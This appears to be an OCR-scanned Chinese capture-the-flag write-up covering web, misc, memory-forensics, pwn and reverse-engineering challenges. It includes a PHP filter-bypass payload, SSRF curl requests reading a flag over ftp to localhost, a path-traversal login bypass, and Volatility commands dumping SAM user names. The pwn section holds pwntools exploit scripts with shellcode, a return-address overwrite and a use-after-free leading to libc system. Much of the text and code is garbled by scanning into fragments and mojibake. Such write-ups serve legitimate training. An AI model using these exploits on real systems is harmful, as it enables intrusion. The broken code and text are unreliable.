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<?php
show_source(__FILE_);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$ GET[ D;
if(is_array($a)){

is_numeric(@$a[ 1)°die( ) :NULL;

if(@$al DA

($a[ 1>2021)?$v1=1:NULL;

1
J

if(is_array(@$a[ )4
if(count($a[ D 5 OR !is_array($a[

$pos = array_search( 1 1);

$pos===false?>die( ) :NULL;

foreach($a[ 1 as $key=>$val){
$val die( ) :NULL;

1

S

$v2=1;

1
J

$c=@$_GET[ 1;
$d=@$_GET[ s
if(@%c[1]){
if(!strcmp($c[1],%$d) $c[1] $d){
eregi( ,$d.$c[0])?die( ) :NULL;
strpos(($c[0].%$d), )?$v3=1:NULL;

)i

if($vi $v2 $v3){
include 5
echo $flag;
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payload

foo={"barl": "2022b", "bar2": [[@], 2, 3, 4, 5], "a2": ["nudt", "nudt"]}&cat[1][]="1"&dog=%00&cat[0]="cstc2021"
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Status Error limeout ength Comment
200

g
10

Request  Response
Raw Render \n Actions
1 HTTP/1.1 200
? Content-Type: text/plain;charset
Content-Length: 114
: V

Connection:

7 {"FHPID":."987", """ &4t R", "HPRA":"ctf _admin”, "HASH" : "2773d5bd7e1a7a7eec619cbd5fbdfd3a”]

—AMestlf], —/ctf_adminffl, iZ[mlhashfi ymd5, cmd53k A fif— Fctfer123! @#

e

> Ja i Fticket] /home/index

HlE it ssrf, http Pl REIR[FISE R, JRinsdjava, (HARMRERE, HAbhBIGl 7R, e kM ftpPha] Lo

[root ~]# curl -X GET "http://ip/home/index?url=Fftp%3A%2F%2F127.0.0.1:21%2F" -H "accept: */*" -H "Token: 9c618
e664319512ef7db2d3c0672beed"

—RW=R==IR== 1 root root 39 Apr 30 09:56 flag.txt

~C

[root ~]# curl -X GET "http://ip/home/index?url=Fftp%3A%2F%2F127.0.0.1:21%2Fflag.txt" -H "accept: */*"

n: 9c618e664319512ef7db2d3c0672beed"

flag{0102d47ceed495efcb7c4e3977b04e715}

ctfweb3
1 H 3% K Hi/robots.txt
—ANEBFEU, GG, EER, ORI

/PassOn/header.php

Ptn4rdn Admin Portal
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BEK

FEIX B BLHE AL /PassOn/css/style.css

Ptn4rdn@gmail.com

RIGHR T 2K K BL—hint /PassOn/login.php ffjhead

name=" " content="

/PassOn/PassOnbackupDirectOry £ 1
H3EI/PassOn/PassOnbackupDirectOry/backup.zip

iR reset.php, R LAF £ HE D

$email = $ POST[ 1;

$user = $_POST[ 1;

$sql $pdo->prepare(

$sgql->bindParam( , $email);
$sql->bindParam( , $user);

$row = $sql->execute();

$result $sql->fetch(PDO: :FETCH_ASSOC);

if (count($result) 1) {
$password substr(hash( , gmdate( )), 9, 20);
$password = md5($password);
$sql = $pdo->prepare( )5
$sql->bindParam( , $password);

$row = $sql->execute();
$message

} else {
$message
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Enter your username and email to reset password

A new password has been sent to your email

Login

Page loaded at Wednesday 5th of May 2021 01:25:54 PM Standard GMT Time
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@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(handlerInterceptor())
.addPathPatterns( )
}
@Bean
public HandlerInterceptor handlerInterceptor() {

return new PermissionInterceptor();

}
@Component

public class PermissionInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String uri request.getRequestURI();
uri uri.replaceAll( 5 );
System.out.println( uri);
if (uri.contains( uri.contains( ) {
return false;
}
if (uri.startsWith( uri.startsWith( uri.startsWith(
{

return true;

}

return false;
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/images/%2e%2e/images/adm.png

FHEEFARI T HIER SR AL E

POST /images/%2e%2e/admin/ HTTP/1.1

Host: ip

Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Username=admin&Password=admin




< IDOCTYPE html>
< lang="en">
>
< charset=" ">

>Domain name resolution Manager</

action=" " method="

>domain : < type=" " name="
type=" " value=" " />

>

action=" " method="

>secret : < type=" " name="

type=" " value=" ">

PRI A4 AH R

FR 4 A A SR LM 42 H https:/irequestrepo.com/*F- & i3t

RO H 2 A A AR A, JF A S4R, KEN8

SR JEHEFI 26 )5 R Bsecretit th B n] 2 $flag

Misc

RGB
12886417, KA, PIANIMERSILINN164,176, il

from PIL import Image

164
176

fp ( )
pic Image.new( , (a,b), (255,255,255))

list color = fp.readlines()

pixel list_color[y*a+x]

pixel = pixel.strip( )

pixel = pixel.split(

pic.putpixel((x, y), (int(pixel[e]), (pixel[1]), (pixel[2])))
pic.show()



https://requestrepo.com/?fileGuid=hKQHqRCdWcq68krQ

flag{c1d636d1db9d42dd)

Raglc1083%d1db%4424c)

Jige— T RIT] 13 £flag

flagic1d836d1dbd42dd)

flag(c1d836d1dbId42dd)
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A ARCHPR 4.53 - 5¢
V(P ¥%E(R #EN(H)
. R frﬁ ¢ % o o §

DEN  HR LU o

MWEH ZIP[RAR /ACE/AR] szﬁ: - Thihied
|L. \Users\34603\Desktop\zip. zip ‘ g;!)
ol K nsamnke
KN CEREIR
fAAST Advanced Archive Password Recovery §fHEB:
AESHET [a;
=0 - E#EIQ 480,680,235
M e |21EdiE 13s 827ms
= | | EROSA) 34,763,884
FhEB]$TEN BATHMOS 6123
RSB0 +7ulH0S 66 66 313233
2021/5/5 21:10:0
2021/5/5 21:10:0 il (317 v s
2021/5/5 21:10:2
2021/5/5 21:10:20 - 'FF123 BT HBI— I EROS |
Han mza i Jé: 34,768,913 p/s
2R 12s
E]@f;g =5, 51+ 915 132,832, 2AME: 465,661,665
50%:

ARC]-PR version 4.53 (c) 1997-2008 ElcomSoft Co. Ltd.
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baconf##AB T, 15 % |word LRI ixyj, S A/NE

Recipe S Input
) BABBBBBAAAABAAB
Bacon Cipher Decode :
Alphabet Translation Invert
Complete A/B Translation
Output
XY]

BEASCHIE, flag P gty Ft, B kgt E fiflag

w. . L, IBLIJZ. BXHE, Wit J ITl. XEXIITEHS .

flag{cbfacb9df0c7caf9a2b8a8ffbd72d1a0}«

Memory_1
F A1, HFHAT

pstree n] LLE FllemdiE 72

2019-10-29 14 »31 UTC+0000
2019-10-29 14 47 UTC+0000
2019-10-29 17:37:25 UTC+0000
2019-10-29 14: . UTC+0000
2019-10-29 14: :40 UTC+0000
2019-10-29 14: . UTC+0000
2019-10-29 17:37:25 UTC+0000
2019-10-29 14 UTC+0000
2019-10-29 14 : UTC+0000

J
oxfffffa
OxfffffaB001c41060:conhost.exe
OxfffffaB001d786d0:conhost.exe
Oxfffffag0031d4b30:winlogon.exe

N = O

w

OxfffffaB0038d1b30:explorer.exe
oxfffffa80039a6220:vmtoolsd.exe
OxfffffaB001d74060:cmd.exe

oxfffffag0018ba9e0:System
OxfffffaB00202db30:smss.exe

N
= I N ]

-]
O =

LS ]




FIFHcmdline® & cmd iz 47 1) S0

o e e e e e ol ke o g o o o ol o o e e o o o e o o e e e o e ol e o o e ol e o e o ol e o e ok o i e e o e o e e e e ol e o e o o e o e o e o o e e e o
metsvc.exe pid: 400

Command line : "C:\Windows\TEMP\cybSAbYRflAvhz\metsvc.exe" service

ke e o o ok ok i o ok o o o o o o ok o o o o o o o o ok o o o o o o o o o o o o o o o ok o o o e o o o ok o o o o o o o o o o o o o o ok o e o e ok
metsvc-server. pid: 1912

e e sk e e e ok ok o e ke ok ol e ke ohe ol e ok ok e e ok ok ol e ke ok ol ol ok ke ok ol e ok ol e e ook e ok o ok ol o ok ok ol e ok ok ok ok o ok ok ok e o ok o e ok ok ke e e o ke ok

cscript.exe pid: 1472
Command line : cscript "C:\Windows\TEMP\UEAOGWBdwyydm.vbs"

Fhhkhhkhhbhbhbdrdhdbddbhbhbrhddbbrbhbbdbhdddb bbb bbb bbb hdddddddhdddddddddddddd

conhost.exe pid: 1824
Command line : \??\C:\Windows\system32\conhost.exe
e e e e e e e o ok ok ke e o ke ke e o ok ke e e ok ke sk e e e sk o e o ke o ok o o e e o ok e ke e o ok ke o o ol ok ke o e ok e ok o e ke e e o ok ok ok e ok ke e e ke ok

cmd.exe pid: 2180

e e sk ek e ke vk e e o ke ke ke ke ke sk ke e ke sk ke o ook ek ke ke e sk ke e ke sk ke e ook e e ke ke ek e e e e e e e ke ke ek de e ok ek e e ke ek

cmd.exe pid: 2336

3355 5 4 UEAOGWBdwyydm.vbs, md5/ii# 5 Bl 7] 75 Fllflag
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volatility -f mal.vmem --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"

root@xin:~/& M /Behinder_v3.0_Beta_10# volatility -f mal.vmem --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"

Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable (V) = Volatile

Registry: \SystemRoot\System32\Config\SAM
Key name: Names (5)
Last updated: 2019-10-29 17:42:11 UTC+0000

Subkeys :
(S) admin
(S) Administrator
(S) Guest
(S) test$

Values:
REG_NONE

2 RIFEHH P test$



0x000000007e5¢c6b30
0x000000007e5e1b30
0x000000007e5f1b30
0x000000007e7d4b30
0x000000007e8bb060
0x000000007ea546b0
0x000000007ebff7e0
0x000000007 f4d6060
0x000000007f62db30
0x000000007fa41060

0x000000007fb786d0
0x000000007fb96060
0x000000007fb9a650
0x000000007fb9b630
0x000000007ff799e0

svchost.exe
svchost.exe
svchost.exe
svchost.exe
winlogon.exe
wininit.exe
CSrss.exe
CSrss.exe
metsvc.exe
SmsS.
conhost.exe

TPAutoConnect.

WmiPrvSE.exe
cmd. exe
conhost.exe
WmiApSrv.exe
net1.exe
ipconfig.exe
System

0x000000001fee7000
0x0000000011594000
0x000000001f0a4000
0x000000001f1ac000
0x000000001ea40000
0x0000000022e12000
0x000000002398c000
0x0000000022e7a000
0x0000000053a18000
0x0000000029819000
0x00000000089e6000
0x0000000008be 1000
0x000000007a642000
0x0000000072758000
0x0000000072c1d000
0x0000000055ed4000
0x00000000519d5000
0x00000000516b7000
0x0000000000187000

2019-10-29
2019-10-29
2019-10-29
2019-10-29
2019-10-29
2019-10-29
2019-10-29
2019-10-29

2019-10-29

2019-10-29
2019-10-29
2019-10-29
2019-10-29
2019-10-29
2019-10-29

2019-10-29

2019-10-29

2019-10-29 14:

w w
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LS
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w
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UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000

2019-10-29 17:40:13 U

2019-10-29 17:42:11 UTC+0000
2019-10-29 17:43:16 UTC+0000

psscanfy i i fEnetl .exe, HITULRERE Y HE AR RGUERE, HUG I e

B EA TR test$&netl.exe, md5Hn% )5 Bl if 15 #flag

flag{45321c07f425d915c55424957353dd07}
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from pwn import

import sys

context.log level

gdb.attach(p,a)
if a :

else:

pass

leak_address():
if(context.arch ):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b

while True:
try:
if local:
p=process( binary_name)
else:
p=remote ( ,10000)

ru=lambda x:p.recvuntil(x)

sd=1ambda
sa=lambda

:p.send(x)
,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)

X
sl=1lambda x:p.sendline(x)
X
a

ia=lambda :p.interactive()

sla(
sla(
s1(

sla( p64(0x404028))
print(

print(ru(

ia()

print(

except:

print(




5 RIS [ T RN S

ttinclude<iostream>
using namespace std;

int main()

int a2 = 9;
char ret = 0,src = 0;
for(int i = 0; i<26; i++){

for(int j = 0; j<8; j++){
ret = (5 * (a2+j) + al+i - 'A") % 26 + 'A' ;
src = al+i;
cout << src << ":"
cout << ret << " "
b

cout << "\n";

}

return 0;

A 96 U Je Ak 7 o5 3R [l sk D )5 1) B K

exp:



from pwn import

import sys

context.log level

binary name)

binary_name)

p=remote( ,10001)

def z(a ):
if local:
gdb.attach(p,a)

.recvuntil(x)
.sendline(x)
.send(x)
,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak _address():
if(context.arch ):
return u32(p.recv(4))
else :
return ué4(p.recv(6).ljust(8,b

(0x50-9-4)+p32(0x8048665) )

Tt H k52 ok I 2 A0x21,  Kechunk 7 o B4R B ST SbES, B & 0T 5 1] R L
exp:

python

from pwn import




context.log level
context.arch

binary name)

p=remote( ,10003)

def z(a ):
if local:
gdb.attach(p,a)

if a :

else:

pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)

sa=lambda a,b:p.sendafter(a,b)

sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
if(context.arch ):
return u32(p.recv(4))
else :
return ué4(p.recv(6).ljust(8,b

cho(num) :
sla(

add():
cho(1)

change(idx,size):

cho(3)

sla( (idx))

sla( 5 (size))

show() :
cho(4)

delete(idx):
cho(2)
sla(

def change2(addr):

(ru('\n')[19:-1],16)




print( (stack))

z(

change (0, stack-8)

small
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exp:



from pwn import
import sys

import time

context.log level

context.arch

local=1

binary name

e=ELF( binary name)

if local:

p=process( binary_name)
else:

p=remote( ,10002)

.recvuntil(x)

.sendline(x)

.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak address():
if(context.arch ):
return u32(p.recv(4))
else :
return ué4(p.recv(6).ljust(8,b

)
0x402000+0x10
0x10+p64(rbp)+p64(0x401015))

time.sleep(3)

s1(p64(0)*2+p64(rbp)+p64(rbp+0x10)+asm(shellcraft.sh()))

managebooks

UAFFi& B & bR, 12 00eR Bt usystem




libc_name)

binary name)

binary_name)
p=remote( ,10004)

def z(a ):
if local:
gdb.attach(p,a)

.recvuntil(x)

.sendline(x)

.send(x)

:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak address():
if(context.arch ):

return u32(p.recv(4))
else :
return ué4(p.recv(6).ljust(8,b

cho(num) :
sla( 5 (num))

add(namesize,name, summarysize, summary) :
cho(1)

sla( 5 (namesize))

sa( ,hame)

sla( 5 (summarysize))
sa( , summary)

delete(idx):
cho(2)
sla(

show(idx):
cho(4)
sla( (idx))

edit(idx,size,summary):
cho(3)




»str(idx))
,str(size))

, summary)

,0x500, )

add (0x10, p64 (9x00000000004008D8 )+b
edit(0,0x20, )
edit(0,0x4b0, 8)

show(9)

leak_address()-0x3ec0co
(libc_base))

system=1ibc_base+libc.sym[
delete(1)
delete(1)
add (0x10, p64(system),0x30,

Reverse

free_flag

£ checkpin B &M N AT T 50IE. 4% 30 al 2 E) A flag

for ( = 0 < strlen(al) - 1; ++1 )
{
if ( (byte B98[i] ~ @xC) != al[i] )
return 1LL;

}

return OLL;

}

A -



arr= [0x78, Ox64, Ox3F, Ox53, Ox6D, Ox79, Ox78, Ox64, Ox62, Ox3F, Ox78, Ox3D, Ox6F, Ox38, 0x3D, Ox78, Ox3C, Ox62
, Ox53, Ox39, Ox75, 0x39, Ox78, Ox3F, Ox61, Ox53, Ox3D, Ox39, Ox53, Ox62, Ox3C, Ox78, Ox53, Ox3C, Ox39, OX53, OX
39, Ox3F, Ox6F, Ox79, OX7E, Ox3F, Ox0A]
flag= []
for i inarr:

flag.append( (i”exC))

print('"'.join(flag))

ckk

A H HA RTINSk, fEsub_4004307, A base645iLNHIE, fCbyte_410200 113 & il iR #brik base64 )& B AT fif

B2
Ly o

-y aaras Tawn s e L A A A L s msAge W asswaE —t pawm Tawn . et A A A

Lji 0430( 1, s )
2
unsigned int v3; //
int v4; //
int v5; //
unsigned int i; //
unsigned int v9; //
nt ): I/
= O
for ( = 0; < HE= 20D
{
=1% 3;
LR = 17)
{
= ++
*(a3 + v5) = byte_410200[16 * (*(al + i - 1) & 3) + ((*(al + i) >> 4) & OxF)];
}
else if ( = 2)
{
ol ¢ + ) = byte_410200[4 * (*( + - 1) & OxF) + ((*( + 1) >> 6) & 3)1;
= + 1;
+= 2;
*(a3 + v6) = byte_410200[*(al + i) & Ox3F];
}
else if ( Iv3 )
{
= O++;
*(a3 + v4) = byte_410200[(*(al + i) >> 2) & Ox3F];
}
2| }

print(base64.b64decode(cipher.translate( .maketrans(tablel,table2))))

crackme

FEFEIN T upx 32, BT esp /e ML 25, pushad j5%F esp NHfWT, Wi N jEipERI#k 3] OEP, BHE — KNS AEH A IDA



Pl T Ry TR RSy rr# AR ALY

® %A BT UEE KA wWmAFGER O AAEHE es@sElE L ME @®MHRS O ORKE L8R war v
| 00405676

6A 00 push 0O -

0040567cC 39c4 cmp esp,eax FHEIRIF
-§0040567€ ~75 FA jne crackme.40567A

00405680 83ec 80 sub esp,FFFFFF80
00405683 | - E9 78BIFFFF jmp crackme.401000 HtZ| OEP
00405688 0000 add byte ptr ds:[eax],al
0040568A 0000 add byte ptr ds:[eax],al
0040568c | 0000 add byte ptr ds:[eax],a]

Xt GetDIgltemTextA 52 X 51 FI4K 2152 HI 7 44 R 515 [ 37

v/

v8

do

{
v9 = v/ + (byte_40318C[v&8] * 0x29);
if (v9 <65 || v9 >90)

vl = v7 + 82;
byte_40313C[v8]
byte_40313D[v8]
LOBYTE(v8) = v8
-=v/;

}

while ( v7 );

vie = 0;

vil =:5;

do

{
vli2 = vil + (byte_40318C[v10] ~ 0x27) + 1;
if (v12 <65 || vi2 > 90 )

vi2 = v1l + 77;
byte_403141[v10] = v12Z;
byte_403142[v10] = 0;

LOBYTE(v10) = v10 + 1;
-=-v11;

nn
v
.

05 FIPEEHETEA byte 40313C fy%A

+ 0 n
[y
-

while ( w11 Y-



}
while ( );

= GetDlgItemTextA( , 4, byte_4031B4, 40);

if ( && <= 10 && >= 10 )
{ “\\

) SIS
while ( 1)
{
= byte_4031B4[ |
if (] )
break;
) = byte 40313C[v14] + 5; // OVKLCIZIGN
if ( > 90 )
byte_40313C[v14] - 8;

i AP

if (_ < 65 )

= % 153

else if ( > 90 )

if (v17 1= v1s ) BASZEERR
goto LABEL_35;
}

MessageBoxA(®, aSerialIsCorrec, aGoodCracker, 0);

}

else
FRATAT DA BFRE 7 R P 4l 7 A8 e, P A R A SO ERE T, A DAZE LB emp $84 EWE T, AB SO TRk 1S 7 A S
HRAEE Y, a2 B F5)5 T
Maze

it gdb e e RE B T T WA, SREGE E A

0X00000000 Ox00VVVVVO VxVVVVVV1 0XxVVVVRRY1 Ox0VVVR1 Ox00VVVO1
0X00000000 Ox00VVVVAO1 OxVVVVVO1 OXVVVVRVVO OXx0VVVVRO Ox0BVVVO1
0X00000001 Ox00VVVVAO1 VX0V OXxVVVVRRY1 Ox0VVVVR1 Ox00VVVO1
0X00000000 Ox00VVVVLO VxVVVVVV1 OXxVVVVRRY1 OXx0VVVVLRO VOx0BVVVOO

0X00000001 0x00VVVVO1 OxVVVVVV1 OXxVVVVRVVO OXx0VVVVRO Ox0BVVVO
0X00000000 Ox00VVVVO OxXVVVVVVVO 0XxVVVVRRY1 Ox0VVVVR1 Ox00VVVA1
0X00000001 Ox00VVVVO1 OxVVVVVO1 OXxVVVVRRY1 OXx0VVVVRO Ox00VVVO1

B&emdS i b 1463 5iflag

ssddwdwdddssaasasaaassddddwdds
flag{545d406061561f34247732d50c56ef0d}
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